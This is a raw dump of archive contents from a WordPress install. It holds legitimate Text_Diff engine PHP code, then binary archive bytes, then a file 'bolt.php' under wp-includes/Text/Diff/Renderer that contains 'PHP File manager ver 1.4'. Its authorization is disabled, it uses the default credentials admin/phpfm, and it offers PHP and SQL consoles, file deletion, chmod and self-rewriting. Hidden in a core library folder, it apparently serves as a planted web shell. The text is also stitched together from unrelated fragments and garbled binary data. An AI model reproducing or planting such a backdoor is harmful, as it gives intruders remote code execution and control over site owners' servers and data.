        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
PK     |\'5>  >  
  native.phpnu [        <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
PK     |\@[    	  xdiff.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
PK       |\Eћ      
                string.phpnu [        PK       |\S  S  	               shell.phpnu [        PK       |\'5>  >  
            a5  native.phpnu [        PK       |\@[    	            Lt  xdiff.phpnu [        PK      &   }                                                                                                                                                                                                                                                                                                                                                                                                                                        Renderer/Renderer.php.php.tar.gz                                                                    0000644                 00000003670 15217306007 0012572 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Ymo6W\R۲&im-ѱY$*ZdYouao(?4D>w]%}103]ȥo¡8~~ơ8G<VcAxr;!>x;I,Y&[ر:OY,e</ ?`	s-Gּ[xYWiz9^:<BL\C88>k<A1CGE"dչȻ\H=BD.H	mVтތDti[gU(эs8s)o:2O╅1!	V $p0	k 1 btB%^lۿpbg=	s.9ЖRѼϦ6OP)(ϙō]xKytGfUX;^w)K>K`>H(NI,'3ǰd)Z̥^AE#f~̪^S8;U	["Lx.XF#E	5OG`>tC%a(biK:q,MeY'U^[4؛`doUP0[Dӆ6qn;n;byxqq NbbGdk6[ng'訖?븳s[IsL2R#c5Kru=L@[xɪdXr 1#j%ʭ~9ȎyS?u,+r(ݫp^Km=
`b}PmNjѐc@;ߚs°.<UoGsf#CKDgLC*tT%7şҿ5	ݙ/d1?.T|7ӪB/A{^`z)ЁP$MW\SlN\-Ow=Y.{MH<SY];"ku{ͅϤ87q/?HˇAsHXMe0Qlhyf Ƽ	ӫ; UH)geKEk$tԢ/
#ga2"FWa NHj0}=:E(:<YDj
I^V3#wfPVpxQS+٣0c%"M$|e]yrA)/~CV<$@:}Z#WїlS7[L ƃzrr5We3k-8m5D
W&h-ʧ~f5a;6MTA_s8U w?e2ajQSE}i9)Ich/JP"MQќZHCUGv6xiVTJBRG",-mXM[킬p*=eӵͪ{mBߙ;^<tj[da~6%ܹZ),-m:ψKE"L5}e$Ŧ,Yq fy@o@W.W9jmXŮx*kvc<i5
-ЅLZ$:寧vR0]Q6li2*Nn[E}%ogWuh5dKe.q.х۴M
7>0^|qݖ[)L*F0uo@8iXxolhd SAm[LdnxE^3='&Α`M5;AQKkXPWf,zNod=gFڃ1ҸP9m(vvKTkJ[wݚ{7$1sF-C_~vwsԓe?l(6asQ3r=wE7SHp8De(("+m|Ʒ1 "                                                                          Renderer/bolt.php.tar                                                                               0000644                 00000236000 15217306007 0010552 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
